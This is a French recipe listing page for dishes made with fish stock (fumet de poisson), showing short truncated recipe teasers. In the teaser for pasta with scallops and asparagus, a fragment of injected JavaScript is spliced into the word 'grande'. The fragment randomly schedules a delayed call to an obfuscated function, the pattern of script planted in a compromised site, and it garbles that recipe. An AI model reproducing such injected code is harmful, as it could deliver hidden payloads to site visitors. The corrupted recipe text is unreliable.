Recipes from Ingredient: Fumet de poisson
Beurre blanc
Pelez et hachez les échalotes. Déposez les dans une casserole avec le vinaigre, le fumet ...
Christine. Lire la suiteVelouté de poisson
Videz le fumet dans une casserole et faites le chauffer.
Christine. Lire la suitePâtes Saint-Jacques et asperges
Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée, ...
Christine Lire la suiteMerlan au vin blanc
Videz, rincez, séchez les merlans, les salez et les poivrez. Pelez, hachez finement les oignons ...
Christine Lire la suiteDorade royale, sauce a la cardamome
Rincez, séchez, salez et poivrez l’intérieur, l’extérieur du poisson. Malaxez le beurre jusqu’à en obtenir ...
Christine Lire la suiteQueue de cabillaud au beurre anisé
Déposez la queue de cabillaud dans un plat allant au four, salez, poivrez, arrosez de ...
Christine Lire la suiteTruites aux maroilles
Écaillez, videz et lavez les truites. Les sécher avec du papier absorbant. Déposez les dans ...
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